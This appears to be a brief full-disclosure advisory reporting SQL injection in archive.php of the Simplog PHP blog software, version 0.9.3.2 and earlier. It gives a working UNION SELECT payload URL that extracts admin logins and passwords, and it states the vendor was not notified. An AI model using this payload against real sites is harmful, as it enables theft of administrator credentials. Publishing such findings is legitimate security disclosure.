Afected Software:
simplog up to 0.9.3.2 (latest version - 12/05/2006 )

Site:
http://www.simplog.org
Simplog provides an easy way for users to add blogging capabilities to
their existing websites. Simplog is written in PHP and compatible with
multiple databases. Simplog also features an RSS/Atom aggregator/reader.
Powerful, yet simple

Vulnerability:
SQL Injection in archive.php
other files probably also affected

Example:
http://example.com/simplog/archive.php?blogid=1&pid=1111%20union%20select%201,1,1,login,1,password,1,1%20from%20blog_users%20where%20admin=1

Vendor status:
NOT NOTIFIED


Javor Ninov aka DrFrancky
drfrancky shift+2 securax.org
http://securitydot.net/